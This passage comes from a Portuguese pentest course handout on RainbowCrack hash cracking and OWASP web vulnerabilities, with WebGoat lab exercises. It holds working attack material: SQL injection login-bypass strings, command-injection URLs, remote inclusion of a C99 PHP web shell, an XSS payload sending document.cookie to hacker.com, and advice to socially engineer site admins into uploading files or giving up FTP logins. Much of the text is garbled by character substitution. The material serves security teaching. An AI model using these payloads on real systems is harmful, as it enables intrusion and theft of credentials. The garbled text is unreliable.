arma)enamento dos resultados no que chamamos de Urainbow tableU Hepois disso,
os hashes podem ser acessados a partir das rainbow tables sempre que necess#rio !
processo prOcomputacional precisa de muito tempo para criar as chaves que sero
posteriormente utili)adas Io entanto, uma ve) que esse processo tenha terminado, a
performance da rainbow tables pode ser de centenas a milhares de ve)es maior do
que o mtodo de brute force
Damos ver passo a passo como utili)ar o software QainbowCracV Esse
software inclui trJs ferramentas que devem ser usadas em sequJncia para fa)er a
coisa funcionar"
*asso 3" usar o rtgen para gerar as rainbow tables
Captulo 12 Tcnicas de Fora Bruta - 14"
*asso 0" usar o rtsort para organi)ar as rainbow tables geradas pelo
rtgen
*asso ;" usar o rcracV para buscar o contedo das rainbow tables
organi)adas pelo rtsort
! processo de buscar o contedo no passo final, equivalente ao processo de
quebra de hash E todas essas ferramentas so utili)adas atravs da linha de
comando
12.'.2. +asso 1, (sar o rt-en .ara -erar as rain/ow ta/les.
! programa rtgen precisa de diversos parKmetros para gerar uma rainbow
table, e a sinta$e do comando "
rt&en h$sh#$l&orithm ch$rset pl$inte2t#len#min pl$inte2t#len#m$2
t$3le#inde2 ch$in#len ch$in#num p$rt#inde2
E$plicao dos parKmetros"
parmetro signi!icado
hashaalgorithm ! algoritmo dos hashs /lm, ntlm, md? e assim por
diante1 usado na rainbow table
charset % configurao dos caracteres /charset1 do te$to
plano na rainbow tables (odos os charsets
possveis esto definidos no arquivo charsett$t
plainte$talenamin
plainte$talenama$
Estes dois parKmetros definem o tamanho
possvel de todo o te$to plano na rainbow tables
Pe o charset numrico, o plainte$talenamin 3,
e o plainte$talenama$ ?, ento a string U30;A?U
ser# includa na tabela, mas U30;A?:U no
tableainde$
chainalen
chainanum
partainde$
Estes quatro parKmetros so mais difceis de
e$plicar em poucas palavras 7er e compreender
o artigo original de *hilippe !echslin /criador do
QainbowCracV1, pode a4udar a entender o
significado e$ato
! tableainde$ est# relacionado ao Ureduce
functionU que utili)ado na rainbow table
! chainalen o tamanho de cada Urainbow chainU
na rainbow table Uma Urainbow chainU
Captulo 12 Tcnicas de Fora Bruta - 14#
configurada como 3: bFtes a menor unidade em
uma rainbow table Uma rainbow tables contm
diversas rainbow chains
! chainsanum o nmero de rainbow chains em
uma rainbow table
! parKmetro partainde$ determina como o Ustart
pointU em cada rainbow chain gerado Heve ser
um nmero /ou comear com um nmero1
!s valores corretos de todos os parKmetros dependem do que vocJs precisa, e
selecionar bons parKmetros requer um bom entendimento do algoritmo de timeO
memorF tradeoff
Uma configurao que funciona est# logo abai$o, como um e$emplo"
hashaalgorithm lm, ntlm or md?
charset alphaOnumeric N
L%,CHE[<GTE>7=I!*WQP(UD.X^c830;A?:B9
6M ou
loweralphaOnumeric N
Labcdefghi4Vlmnopqrstuvw$F)830;A?:B96M
plainte$talenamin 3
plainte$talenama$ B
chainalen ;988
chainanum ;;??AA;0
VeF space ;:_3 ] ;:_0 ] ;:_; ] ;:_A ] ;:_? ] ;:_: ]
;:_B N 98:8;3A8030
>eF space o nmero de possveis strings em
te$to plano para o charset, plainte$talenamin e
plainte$talenama$ selecionados
table si)e ; <,
success rate 8666
! algoritmo de timeOmemorF tradeoff um
algoritmos probabilstico Wualquer que se4a os
parKmetros selecionados, h# sempre
probabilidade de que as strings dentro do charset
selecionado e o tamanho das strings no se4a
completamente coberto % ta$a de sucesso de
666d com os parKmetros usados nesse evento
comandos para gerar as tabelas !s comandos do rtgen usados para gerar as
rainbow tables so"
rtgen md? loweralphaOnumeric 3 B 8 ;988 ;;??AA;0 8
rtgen md? loweralphaOnumeric 3 B 3 ;988 ;;??AA;0 8
rtgen md? loweralphaOnumeric 3 B 0 ;988 ;;??AA;0 8
rtgen md? loweralphaOnumeric 3 B ; ;988 ;;??AA;0 8
rtgen md? loweralphaOnumeric 3 B A ;988 ;;??AA;0 8
rtgen md? loweralphaOnumeric 3 B ? ;988 ;;??AA;0 8
Pe precisar criar uma tabela de hashes ntlm ou
lm, substitua o Umd?U nos comandos acima por
UntlmU ou UlmU
Pe precisar de uma tabela com o charset alphaO
numeric, substitua o UloweralphaOnumericU nos
Captulo 12 Tcnicas de Fora Bruta - 15$
comandos acima por UalphaOnumericU
Pe uma tabela com hashes lm for criada, tenha
certe)a de que seu charset se4a alphaOnumeric ao
invs de loweralphaOnumeric ! algoritmo lm
nunca utili)a caracteres minsculos como strings
%gora hora de criar uma rainbow table
%ltere o diretCrio corrente em seu terminal de comando para o diretCrio do
QainbowCracV, e e$ecute o comando seguinte"
# cd /pentest/p$sswords/rcr$c9
# rt&en md5 lower$lph$-numeric 1 7 0 3800 33554432 0
Esse comando leva A horas para ser completado em um computador com um
processador Core0 Huo EB;88 - possvel parar a e$ecuo do mesmo a qualquer
momento pressionando Ctrl]C Ha prC$ima ve) que o comando for e$ecutado com a
mesma linha de comando, ele continuar# a partir do ponto em que foi interrompido
para continuar com a gerao da tabela
Wuando o comando tiver terminado, um arquivo com o nome de
Umd?aloweralphaOnumericR3OBa8a;988$;;??AA;0a8rtU e tamanho de ?30 =, ser#
criado ! nome do mesmo simplesmente a linha de comando utili)ada com os
parKmetros interligados, com a e$tenso UrtU ! programa rcracV que ser# e$plicado
mais a frente, precisa dessas informa&es para saber quais os parKmetros e$istentes
na rainbow table *ortanto, no renomeie o arquivo
%s demais tabelas podem ser geradas da mesma forma, com os comandos"
# rt&en md5 lower$lph$-numeric 1 7 1 3800 33554432 0
# rt&en md5 lower$lph$-numeric 1 7 2 3800 33554432 0
# rt&en md5 lower$lph$-numeric 1 7 3 3800 33554432 0
# rt&en md5 lower$lph$-numeric 1 7 4 3800 33554432 0
# rt&en md5 lower$lph$-numeric 1 7 5 3800 33554432 0
[inalmente, esses arquivos so gerados"
Captulo 12 Tcnicas de Fora Bruta - 151
md?aloweralphaOnumericR3OBa8a;988$;;??AA;0a8rt ?30=,
md?aloweralphaOnumericR3OBa3a;988$;;??AA;0a8rt ?30=,
md?aloweralphaOnumericR3OBa0a;988$;;??AA;0a8rt ?30=,
md?aloweralphaOnumericR3OBa;a;988$;;??AA;0a8rt ?30=,
md?aloweralphaOnumericR3OBaAa;988$;;??AA;0a8rt ?30=,
md?aloweralphaOnumericR3OBa?a;988$;;??AA;0a8rt ?30=,
%gora, o processo de criao da rainbow table est# completo
12.'.3. +asso 2, (sar o rtsort .ara or-ani0ar as rain/ow ta/les
%s rainbow tables geradas pelo programa rtgen precisam de um pCsO
processamento para tornar sua consulta mais f#cil e r#pida ! programa rtsort
utili)ado para organi)ar todas as rainbow chains em uma rainbow table
Utili)e os seguintes comandos"
# rtsort md5#lower$lph$-numeric#1-7#0#3800233554432#0"rt
# rtsort md5#lower$lph$-numeric#1-7#1#3800233554432#0"rt
# rtsort md5#lower$lph$-numeric#1-7#2#3800233554432#0"rt
# rtsort md5#lower$lph$-numeric#1-7#3#3800233554432#0"rt
# rtsort md5#lower$lph$-numeric#1-7#4#3800233554432#0"rt
# rtsort md5#lower$lph$-numeric#1-7#5#3800233554432#0"rt
Cada comando acima, leva cerca de 3 a 0 minutos para completarem sua
e$ecuo ! programa rtsort gravar# a rainbow table organi)ada por sobre o arquivo
orginal Io interrompa a e$ecuo do comando, do contr#rio o arquivo original ser#
danificado
%gora o processo de organi)ao das rainbow tables est# completo
Captulo 12 Tcnicas de Fora Bruta - 152
12.'.1. +asso 3, (sar o r2ra23 .ara /(s2ar o 2onte4do das rain/ow
ta/les
! programa rcracV utili)ado para acessar as rainbow tables Ele aceita
apenas rainbow tables organi)adas
%ssumindo que as rainbow tables organi)adas este4am no mesmo diretCrio do
programa, para quebrar hashes nicos a linha de comando ser#"
# rcr$c9 L"rt -h $5ui#6$i#o#h$sh#p$r$#ser#5ue3r$do
! primeiro parKmetro especifica o caminho para buscar nos arquivos das
rainbow tables !s caracteres UeU e UfU podem ser usados para especificar v#rios
arquivos
Iormalmente isso leva algumas de)enas segundos para finali)ar, se a string
e$istir dentro do UrangeU do charset e tamanho de strings selecionados Ho contr#rio,
levaOse muito mais tempo para buscar por todas as tabelas, apenas para no
encontrar nada
*ara quebrar mltiplos hashs, coloque todos os hashs em um arquivo de te$to,
com um hash por linha E ento especifique o nome do arquivo na linha de comando
do programa rcracV"
# rcr$c9 L"rt -l $r5ui6o#com#list$#de#h$shes
Pe as rainbow tables que gerou usam o algoritmo lm, o programa rcracV
possui um suporte especial para o parKmetro UOfU Um arquivo de dump de hash no
formato pwdump necess#rio como input para o programa rcracV ! contedo do
arquivo parecer# com o seguinte"
%dministrator"?88"3c;a0b:d6;6a3803aad;bA;?b?3A8Aee"e0A38:6A0bf;9bcf?Ba:aAb0683:eff:"""
<uest"?83"a06:c6eA0:Be6ba6aad;bA;?b?3A8Aee"6d6B9dda6?e?39?bbeda6b;ae88f9AbA"""
! arquivo pwdump a sada de utilit#rios tais como pwdump0, pwdump; ou
outros E contm os hashes tanto lm quant ntlm
Captulo 12 Tcnicas de Fora Bruta - 153
*ara quebrar hashes lm em arquivos pwdump, use o seguinte comando"
# rcr$c9 L"rt -( $r5ui6o#pwdump
! algoritmo de hash lm converte todas as letras minsculas em strings
maisculasS como resultado disso, todas as strings quebradas atravs do hashe lm,
nunca contm letras minscula, enquanto que a string original poed conter letras
minsculas ! programa rcracV tentar# corrigir isso em hashes ntlm arma)enados no
mesmo arquivo e e$ibir a string original
12.12. 3r4tica diri5ida
3 Utili)ando o arquivo shadow passado pelo instrutor, vamos e$ecutar o Eohn (he
Qipper para quebrar as senhas
0 Com o (GCOGFdra, vamos e$ecutar ataques de fora bruta contra um servidor
PPG e$istente na rede alvo
12.11. O++T66 %eco7enda
%taque automati)ado de dicion#rio a pasta de senhasS
%taque de fora bruta a pasta de senhasS
%taque de fora bruta em servios
!bter a pasta de senhas do sistema que guarda nomes de usu#rio e
senhaS
*ara sistemas Uni$, devero estar em 2etc2passwd e2ou 2etc2shadow S
*ara sistemas Uni$ que reali)am autentica&es P=,, pode encontrar as
Captulo 12 Tcnicas de Fora Bruta - 154
senhas de I( em 2etc2smbpasswdS
*ara sistemas I(, devero estar em 2winn2repair2Pam
12.12. Contra7edidas
Uma boa poltica de senhas, de forma a garantir que"
Penhas so trocadas periodicamente
% senha deve ter no mnimo 9 caracteres
% senha deve ser comple$a, com caracteres especiais, letras e
nmeros
% mesma senha no pode ser usada dentro de um perodo mnimo
Captulo 12 Tcnicas de Fora Bruta - 155
Captulo 13
Vulnerabilidades em aplicaes web
13.1. Objetivos
Entender o funcionamento das aplicaes web
Aprender a explorar as principais classes de vulnerabilidades em aplicaes
web existentes na atualidade.
Captulo 13 Vulnerabilidades em aplicaes web - 15
13.2. Entendendo a aplicao web
Aplicaes web so programas que ficam em um servidor web e executam
tarefas para dar uma resposta ao usurio. Webmails, web fruns e blogs so
exemplos de aplicaes web. !ma aplicao web usa uma arquitetura
cliente"servidor, normalmente com um navegador web como cliente e o web server
como o servidor da aplicao.
# ob$etivo de tentar explorar uma aplicao web % gan&ar acesso a
informaes confidenciais. Aplicaes web so cr'ticas para a segurana de um
sistema porque usualmente elas esto conectadas com uma base de dados que
cont%m informaes tais como cartes de cr%dito e sen&as.
Exemplos(
Webmails
web fruns
)logs
*o$as virtuais
13.3. or !ue " to peri#oso$
# ob$etivo de tentar explorar uma aplicao web % gan&ar acesso a
informaes confidenciais.
Aplicaes web so cr'ticas para a segurana de um sistema porque
usualmente elas esto conectadas com uma base de dados que cont%m informaes
tais como cartes de cr%dito e sen&as.
A maior parte dos ataques atualmente, no so reali+ados contra a
infraestrutura organi+acional, mas sim contra aplicaes. E se &ouver fal&as em
aplicaes WE), muito possivelmente o atacante conseguir acesso a todo conte,do
Captulo 13 Vulnerabilidades em aplicaes web - 15!
existente no servidor onde a aplicao est &ospedada.
-a maioria das ve+es, vrias aplicaes WE) ficam &ospedadas em um mesmo
servidor, compartil&ando da mesma mquina f'sica. .e uma, dessas vrias aplicaes
&ospedadas no servidor, tiver fal&as graves, que permitam acesso / mquina, todas
as outras sero comprometidas e o atacante tamb%m poder explorar as demais
mquinas acess'veis na rede.
!m ferramenta simples, online, que ao varrer as vulnerabilidades de um site,
informa todos os dom'nios &ospedados no mesmo servidor, % o 0ero1a2.can,
&ospedado em http://www.zerodayscan.com/
Aps acessar o site, basta informar o endereo do site a ser analisado, seu e3
mail, onde receber o relatrio aps dois ou tr4s dias, e a c&ave que deve ser
gravada em um arquivo com o nome 5+eroda2scan.txt6 e &ospedado na pasta
principal do site que ser analisado.
Essa ,ltima parte pode ser um pouco mais complicada de conseguir. -o
entanto, utili+ando da engen&aria social % poss'vel conseguir que o administrador do
site faa o upload do arquivo para o site, ou at% mesmo l&e passe os dados para fa+er
o login do ftp do servidor onde o site alvo est &ospedado.
Captulo 13 Vulnerabilidades em aplicaes web - 15"
13.%. rincipais Classes de Vulnerabilidades
)aseado no 7#8 9: #WA.8, que % um ran;ing das 9: maiores
vulnerabilidades WE) atuali+ado anualmente, seguem abaixo as vulnerabilidades
mais exploradas em aplicaes WE)(
<ommand =n$ection
.>* =n$ection
<ross .ite .cripting ?@..A
<.BC
=nsecure 1irect #b$ect Beference
Cal&a de Autenticao e gerenciamento de sesso
Cal&as em configurao de segurana
=nsecure <r2ptograp&ic .torage
Cailure to Bestrict !B* Access
=nsufficient 7ransport *a2er 8rotection
!nvalidated Bedirects and Corwards
13.4.1. Command Injection
Cal&as dessa classe ocorrem simplesmente porque o programador no filtrou
o conte,do que recebe de um usurio e envia para funes que executam comandos
no sistema, como por exemplo, a funo s2stem?A ou passt&ru?A do 8D8.
!ma ve+ que um usurio malicioso consegue enviar caracteres de escape ?E F
G HA e esses caracteres so enviados para a aplicao vulnervel, o atacante
conseguir executar os comandos diretamente no servidor.
Exemplo(
Captulo 13 Vulnerabilidades em aplicaes web - 15#
http://www.hostvuln.com/meuscript.cgi?file=;id;uname%20-a
-o exemplo acima, o atacante est executando os comandos id e uname Ia no
servidor vulnervel.
13.4.2. Command Inject - Shell PHP
!m dos mais famosos s&ell em p&p % o <JJ, criada pelo <aptain <runc&
.ecurit2 7eam, mas existem diversas rKL, p&p s&ell, BJ etcM
A cJJ % a mais usada pela sua simplicidade sem muitos con&ecimentos de
comandos unix.
8odemos conseguir uma s&ell baixando um arquivo p&p com o cdigo da
mesma e &ospedando3a em um site. #u simplesmente buscando na web.
1ois exemplos de sites que possuem s&ells so(
http://corz.org/corz/c!!.php
http://www.c!!shell.com/
A partir de um site vulnervel, podemos c&amar a s&ell que est &ospedada
em um site e simplesmente comear a operar dentro do site como se tiv4ssemos na
lin&a de comando.
<omo por exemplo(
http://www.sitevitima.com/menu.php?page=http://corz.org/corz/c!!.php
13.4.3. SQL Injection
.>* =n$ection % um problema que ocorre quando o programa no filtra
caracteres especiais enviados pelo usurio antes de fa+er a requisio para o banco
de dados, enviando caracteres que sero interpretados pelo banco de dados. .>*
=n$ection % mais comum em aplicaes web, por%m outros tipos aplicaes tamb%m
Captulo 13 Vulnerabilidades em aplicaes web - 1$
podem estar vulnerveis.
Namos analisar o trec&o de cdigo abaixo.
"elect # from usuarios where username = $% & username & '( and password
= $% & password '(;
<omo ficaria a c&amada no banco de dados se envissemos no username e
password o conte,do( O or O9PQO9 R
Beposta(
"elect # from usuarios where username = $( or $)(=$)( and password = $( or
$)(=$)(;
#nde(
* - +echa a variavel de entrada do usuario
,- - .ontinua a e/press0o "12
)=) - 3ma e/press0o verdadeira
<omo 9 % sempre igual a 9, teremos uma 5verdade6 e passaremos pela
c&ecagem.
Esse % um tipo de dados que poder'amos passar para aplicativos vulnerveis e
burlar o sistema de autenticao. Caremos isso na prtica com o WebSoat.
Exemplos de SQL Injection (
* or *)
* or *)*=*)
* or )=)-
*or**=*
* or *a*=*a
*4 or 5*a*=*a
*or *=)
Captulo 13 Vulnerabilidades em aplicaes web - 11
13.4.4. Cross-Site Scripting (SS!
<ross3site scripting ?@..A % um tipo de vulnerabilidade de segurana
tipicamente encontrada em aplicaes web que permite insero de cdigos por
usurios web maliciosos dentro das paginas vistas por outros usurios. Exemplos de
cdigo incluem D7T*, Uava .cript e outros client3side scripts. !ma das formas mais
comum de explorar esse tipo de fal&a % inserir um formulrio web no site vulnervel
para tentar roubar informaes de pessoas que o atacante enviou esse site
vulnervel.
#utro t'pico ataque tamb%m visa roubar os dados do coo;ie do usurio,
enviando as informaes para um servidor do atacante.
Exemplo de uma vulnerabilidade usando as >uer2 .trings de uma pgina(
http://dominio.com/default.asp/?parametro=6script7alert5*,l8
%2092inu/:*4;6/script7
.e obtiverem a mensagem Uava.cript 5#l V*inuxW6 estaremos perante uma
fal&a de segurana.
7amb%m podemos roubar um coo;ie de uma pessoa. Ne$amos o seguinte
exemplo(
6script7document.location=*http://www.hac;er.com/cgi-
<in/coo;ie.cgi?*%20&document.coo;ie6/script7
>uando o navegador da v'tima abrir este Uava .cript in$etado, o seu coo;ie
ser enviado para o site do atacante.
@.. tamb%m % amplamente usado para 8&is&ing, na tentativa de dar mais
valor a informao fraudulenta que foi enviada para o alvo, pois o alvo ver uma
fonte confivel ?site vulnervelA.
A soluo para o problema % simples, apesar de no ser to simples
implement3la.
)asta substituir os caracteres H e G que so recebidos pelos usurios por XltE
e XgtE respectivamente, pois o XltE % usado para imprimir o sinal de menor ?HA na
tela, que % o que o usurio est de fato enviando e no deve ser interpretado pelo
Captulo 13 Vulnerabilidades em aplicaes web - 12
navegador web do cliente.
7amb%m existem outras possibilidades(
=nserir um comentrio em um blog, por exemplo, utili+ando as tags citadas
anteriormente. <aso a aplicao, quando pegar esses dados da base de dados no
filtre os caracteres H e G antes de exibir o seu comentrio para outros usurios, ser
poss'vel explorar um @.. nessa aplicao, afetando assim todos os usurios de tal
blog.
Apesar de no ser uma fal&a to cr'tica, $ que no executamos comandos no
sistema, @.. tamb%m % amplamente usado para 8&is&ing, na tentativa de dar mais
valor a informao fraudulenta que foi enviada para o alvo.
13.4.". CS#$
.emel&ante a @.. ?igualRA
#s parYmetros utili+ados e o formato de ataque % muito parecido com o @...
=nclusive, o tipo de ataque <.BC surgiu a partir do @.., quando os atacantes
perceberam que a partir da c&amada para execuo de script com @.., seria
poss'vel estender para al%m a capacidade de explorao de seus ataques.
>ualquer sistema vulnervel a @.. est vulnervel a @.BC
<omo @.. pode servir de suporte para lanar ataques do tipo <.BC, toda
aplicao que % vulnervel ao primeiro, pode ser explorada pelo segundo tipo
de ataque.
-em toda aplicao vulnervel a @.BC est tamb%m vulnervel a @..
Z poss'vel utili+ar filtros para minimi+ar ataques @.., mas nem sempre esses
filtros conseguem barrar entradas maliciosas que utili+am outras metodologias
para lanar um ataque <.BC. 8ortanto, se a aplicao est protegida de @..,
no se pode confiar que tamb%m este$a protegida de <.BC.
8ermite alterar as informaes enviadas ao navegador.
8ermite ir al%m dos ataques de @.., manipulando os parYmetros que so
Captulo 13 Vulnerabilidades em aplicaes web - 13
enviados ao navegador, alterando a resposta do mesmo para a v'tima.
Ataque client3side
-o afeta diretamente o servidor, que pode nem mesmo detectar que est
sendo alvo de um ataque, pois as entradas maliciosas podem ser confundidas
com entradas vlidas vinda do cliente acessando a aplicao.
-o se baseia em executar cdigo U.
Enquanto o @.. baseia3se em execuo de cdigo $avascript, o tipo de ataque
<.BC no limita3se / isso, pois pode manipular entradas, parYmetros
manipulados pela aplicao e etc.
)aseia3se em enviar requisies com as credenciais do usurio para o servidor.
<omo citado anteriormente, o servidor no consegue diferenciar, perante esse
tipo de ataque, o que % cdigo malicioso ?ou usurio ileg'timoA, de uma
requisio leg'tima vinda do usurio vlido.
13.4.%. Insec&re 'irect ()ject #e*erence
<onfiar em informaes passadas pelo usurio(
<ampos &idden
<oo;ie ?adminQfalseA
Esse tipo de vulnerabilidade simplesmente existe, e pode ser explorada com
outras t%cnicas, como por exemplo a <.BC.
Namos imaginar, como no exemplo acima, que num formulrio de login & um
ob$eto referenciado que permite a passagem de um determinado parYmetro para um
coo;ie.
E se o atacante souber como alterar esse parYmetro antes de ser enviado ao
servidorR
E se esse atacante simplesmente criar um coo;ie baseado em um $ existente
e passar esse parYmetro alterado, gerando uma 5session fixated6R
Captulo 13 Vulnerabilidades em aplicaes web - 1%
.empre que quiser acessar a aplicao como 5admin6, ter essa permisso,
como se &ouvesse enviado uma requisio vlida, baseada em um ob$eto referenciado
e maneira insegura.
Abaixo temos outro exemplo de fal&a com essa vulnerabilidade...
8ermite explorar quando o desenvolvedor confia em allow[url[fopen(
*ocal Cile =nclude
Possibilidades(
Acessar Arquivos do .istema #peracional
Enquadra3se em =nformation *ea;
#bter lista de usurios ?"etc"passwdA
#bter informaes do servidor ?Ex( "proc"\A
#bter informaes de configuraes ?Ex( "etc"resolv.confA
?)#-!.A 8ermite executar comandos
?ANA-]A1#A 8ermite obter sen&a de acesso ao servidor
13.4.+. $alha de ,&tentica-.o e gerenciamento de sess.o
7odas as ve+es que um usurio precisa autenticar3se em uma pgina para
acessar conte,dos pessoais, proprietrios ou sigilosos, uma s%rie de parYmetros %
enviada ao servidor para que o mesmo valide o usurio e crie uma sesso prpria
para o mesmo.
.e esse mecanismo tiver fal&as, um atacante pode explor3las e conseguir
acessos as informaes confidenciais.
Namos ver a seguir os conceitos e formas de ataque.
O que sesso?
Captulo 13 Vulnerabilidades em aplicaes web - 15
A sesso, session em ingl4s, tem uma funo bem parecida com a do coo;ie,
que foi explicado no tpico anterior.
A sesso estabelece uma conexo entre o usurio e o servidor, sendo mais
segura que o coo;ie.
#s dados que so gravados na sesso desaparecem quando o browser %
fec&ado. 8or exemplo, ao fa+er um login o usurio digita seu nome e sen&a. Essas
informaes so gravadas na sesso, e no como no coo;ie, em que so arma+enadas
em um arquivo texto. Assim, podemos navegar pelo site e as informaes s sero
perdidas quando o browser for fec&ado.
8elo fato de no gravar as informaes em arquivos temporrios, a sesso %
um meio muito mais seguro de se fa+er login e gravar informaes.
O que cookie?
<oo;ies so arquivos de texto que cont4m dados enviados pelo servidor.
>uando precisamos deixar informaes gravadas no computador da pessoa
que est visuali+ando o site, usamos os coo;ies. 8or exemplo, um site de vendas quer
deixar as informaes dos produtos que uma pessoa visuali+ou toda ve+ que ela
entrar no site. 8ara que isso ocorra, na primeira ve+ que esta pessoa entrar no site, o
servidor guardar as informaes dos produtos que ela ol&ou em um arquivo de
texto, um coo;ie, que fica arma+enado em uma pasta temporria no computador
dela. Assim, da prxima ve+ que ela entrar nesse site, o servidor ir ler esse arquivo
para listar os produtos.
Como fae! um ataque " sesso?
Session #ijackin$
Atrav%s de fal&as de @..
Atrav%s de .niffer de rede ?localA
Atrav%s de coo;ies arma+enados
Session %ixation
-o % necessrio estar logado
Captulo 13 Vulnerabilidades em aplicaes web - 1
Sera3se uma sesso para o usurio
Espera3se ele autenticar e utili+a3se a sesso $ con&ecida.
Solu&o
-o utili+e coo;ies ?RA
-unca arma+ene informaes que no podem ser modificadas(
adminQfalse
logadoQfalse
useridQ9::9
-unca utili+em algoritmos prprios de gerao de to;ens de coo;ie
P!ote&o cont!a Sequest!o de Sesso po! 'SS
A fal&a no est na sesso
7o;ens em formulrios
Dttp#nl2
!tili+ar criptografia ?&ttpsA
Web Application Cirewall
13.4./. Insec&re Cr0ptographic Storage
7odas as informaes recebidas ou manipuladas por uma aplicao WE),
ficam arma+enadas em algum local, se$a ele um banco de dados no mesmo servidor,
ou remoto.
A forma como essas informaes esto sendo arma+enadas em uma base de
Captulo 13 Vulnerabilidades em aplicaes web - 1!
dados, por exemplo, ou que trafegam ao longo dos canais de transmisso, definir
quo facilmente um atacante poder ter acesso a tais informaes ao lanar um
ataque de comprometimento da aplicao.
8or isso, vamos ver abaixo os tipos de ataques mais utili+ados para ter acesso
/s informaes arma+enadas.
(ipos de )taques
.en&as fracas
I )rute3force
.en&as fortes
I Wordlist
Bainbowcrac; ^ &as& sites
TdK Web <rac;ers
- http://www.md=crac;.com/
*ife!en&as+
)rute3force -ormal(
I _K: mil&es de sen&as ?texto puroA por segundo.
Bainbow
I `a.aa_ mil&es de sen&as em texto puro por segundo
Captulo 13 Vulnerabilidades em aplicaes web - 1"
13.4.1. $ail&re to #estrict 2#L ,ccess
<ontrole de sesso para acessar as pginas.
-em sempre todas as pginas de uma aplicao podem estar acess'veis aos
clientes que navegam por ela. -a maioria das ve+es, & alguma parte da aplicao,
ou sesso espec'fica de um site, que no pode ser acessada por todos, mas apenas
por usurios cadastrados que se autentiquem atrav%s de algum sistema de
autenticao e controle de acesso.
.em qualquer controle de permisso entre as pginas.
=sso s ocorre quando todas as sesses do site so abertas a quem estiver
navegando pelo mesmo. -ormalmente, acontece em sites mais simples, que no
manipulam informaes confidenciais.
.e tiver uma sesso % poss'vel acessar qualquer pgina.
>uando & o gerenciamento de acesso e autenticao de usurios para
acessar pginas, % gerada uma sesso, ou coo;ie, com a validao do usurio. <om o
usurio validado, o cliente pode acessar qualquer pgina do site de acordo com suas
permisses.
# que poderia ocorrer se &ouvesse um sequestro de sesso desse usurio
validadoR # atacante teria acesso / todas as pginas cu$a permisso do usurio
possibiliteW
E se ainda utili+ar a t%cnica de 5session fixation6R 8oder acessar as pginas
restritas sempre que quiser, mesmo que a sesso original do usurio expireW
13.&. 'erramentas para e(plorao
Cire<at 3 con$unto de plugins para o firefox.
Cirebug 3 plugin do firefox para alterao de parYmetro no browser cliente.
Web.carab 3 prox2 que permite a captura e manipulao de parYmetros
Captulo 13 Vulnerabilidades em aplicaes web - 1#
enviados pelo navegador.
8aros 8rox2 3 prox2 que permite a captura de parYmetros enviados pelo
navegador.
-essus 3 ferramenta de varredura em busca de vulnerabilidades, baseado em
plugins constantemente atuali+ado, escritos em -A.*.
-i;to 3 ferramenta de busca de vulnerabilidades e fal&as de configurao do
Webserver Apac&e.
=EWatc& 3 % um plugin para o Ticrosoft =nternet Explorer para analisar
cabeal&os de requisies D778 e D778., al%m de cdigo fonte D7T*.
Wires&ar; 3 sniffer de rede que possibilita a anlise de protocolos e filtro de
pacotes, a partir de regras personali+adas, que trafegam na rede.
Wapiti 3 scanner de vulnerabilidade de aplicaes web, pesquisa fal&as @..,
in$eo de .>* e @8at&, incluses de arquivo ?local e remotoA a execuo de
comandos, in$eo *1A8 e in$eo <B*C.
W_AC I framewor; para auditoria e teste de invaso em aplicaes web.
13.). r*tica diri#ida
13.%.1. Paros Pro30
8rimeiramente, % importante entender como a ferramenta 8aros 8rox2, que
usaremos em alguns exemplos, funciona.
# 8aros 8rox2 atua como um prox2 local, onde % poss'vel editar o conte,do
que est sendo requisitado para o prox2, que no nosso caso % o 8aros, antes de ser
enviado em definitivo para o servidor web.
=sso % poss'vel pois ao clicar em algum lin;"boto ou acessar algum site,
estamos requisitando informaes para um servidor web. 8or%m, quando
configuramos nosso navegador web ?=nternet Explorer"Cirefox"etcA para usar prox2,
Captulo 13 Vulnerabilidades em aplicaes web - 1!$
ele envia antes o pedido para o prox2 e s ento o prox2 envia o pedido para o
servidor web.
8osteriormente, o servidor web devolve a resposta para o prox2 que devolve a
resposta para o navegador web. Z por isso que muitos usam servidores prox2s que
encontram na internet para acessar um site de forma anbnima, pois o endereo =8
que aparecer no servidor web % o endereo do prox2 e no o endereo real da
pessoa que est usando esse prox2.
Ento, o 8aros e ferramentas semel&antes a ele, onde podemos citar o
Webscarab, nos da a opo de editar um conte,do que $ partiu do navegador web,
mas ainda no foi enviada para o servidor web. =sso % extremamente ,til para passar
por filtros que so criados em Uava .cript, $ que o Uava.cript % executado no
computador do cliente e no no servidor. Ento, basta alterar os dados quando os
mesmos c&egarem ao prox2 ?no nosso caso, o 8aros 8rox2A.
Confi$u!ando o Pa!os
8ara configurar o 8aros % muito simples. )asta inici3lo. Ele $ vai funcionar na
porta c:c: local&ost. .e dese$a alterar a porta, basta ir em 7ools3G#ptions3G*ocal
8rox2 e alter3la.
!ma ve+ que o 8aros foi iniciado, basta usar um prox2 no navegador web, se$a
ele =E, Cirebox ou qualquer outro.
)lte!ando as !equisi&,es
8or padro o 8aros no abrir uma $anela esperando que editemos ou
confirmemos os parYmetros enviados pelo navegador. 8ara isso, basta selecionar a
opo 7rap Bequest na aba 7rap.
13.+. ,aborat-rio . /eb0oat
=remos testar cada uma das vulnerabilidades estudadas utili+ando a ferramenta
WebSoat.
Aps execut3la com o comando(
d."webgoat.s& startc:c:
Captulo 13 Vulnerabilidades em aplicaes web - 1!1
Acessar o endereo(
http://guest:guest>)2?.0.0.):@0@0/we<goat/attac;
Algumas sero explicadas pelo instrutor e outras o aluno resolver so+in&o.
As solues encontram3se na prpria aplicao.
D um lin; para os v'deos com as solues na prpria aplicao, tamb%m, caso
as dicas escritas no este$am claras.
13.+.1. Sol&-4es para os desa*ios
-. /eb0oat Code Qualit1
)asta ol&ar o cdigo fonte do &tml, pois o login e sen&a esto comentados no
cdigo.
-. Injection %la2s 3. Command Injection
8recisamos in$etar um comando. -o caso do Windows, devemos usar o X para
usar mais de um comando na mesma lin&a. # X no Windows seria como o E do linux,
que % usado para separar comandos na mesma lin&a.
8or%m, precisamos usar o ea`, que % o X, $ que o X % usado para determinar
uma nova varivel.
8odemos explorar usando o 8aros 8rox2. Bepare que precisamos fec&ar uma
aspas dupla, seno obtemos um erro.
<digo in$etado( f ea` ping Hum ip validoG
-. Injection %la2s 3. 4lind Sql Injection
>uando o caractere existir, ele mostrara que um determinado Account number
% valido. <omo o prprio WebSoat da a dica, o range vai de `K a 9aa, que deve ser
substitu'do no valor encontrado por g na string abaixo(
9:9 A-1 ?.E*E<7 A.<==?.!).7B?first[name,9,9AA CB#T user[data WDEBE
useridQ9K`9_A Q g 33
Captulo 13 Vulnerabilidades em aplicaes web - 1!2
8ara resolver o problema, devemos testar em todas as posies, todos os
caracteres. Existem ferramentas prontas que fa+em essa verificao de forma
automtica.
.egue a resposta para esse desafio(
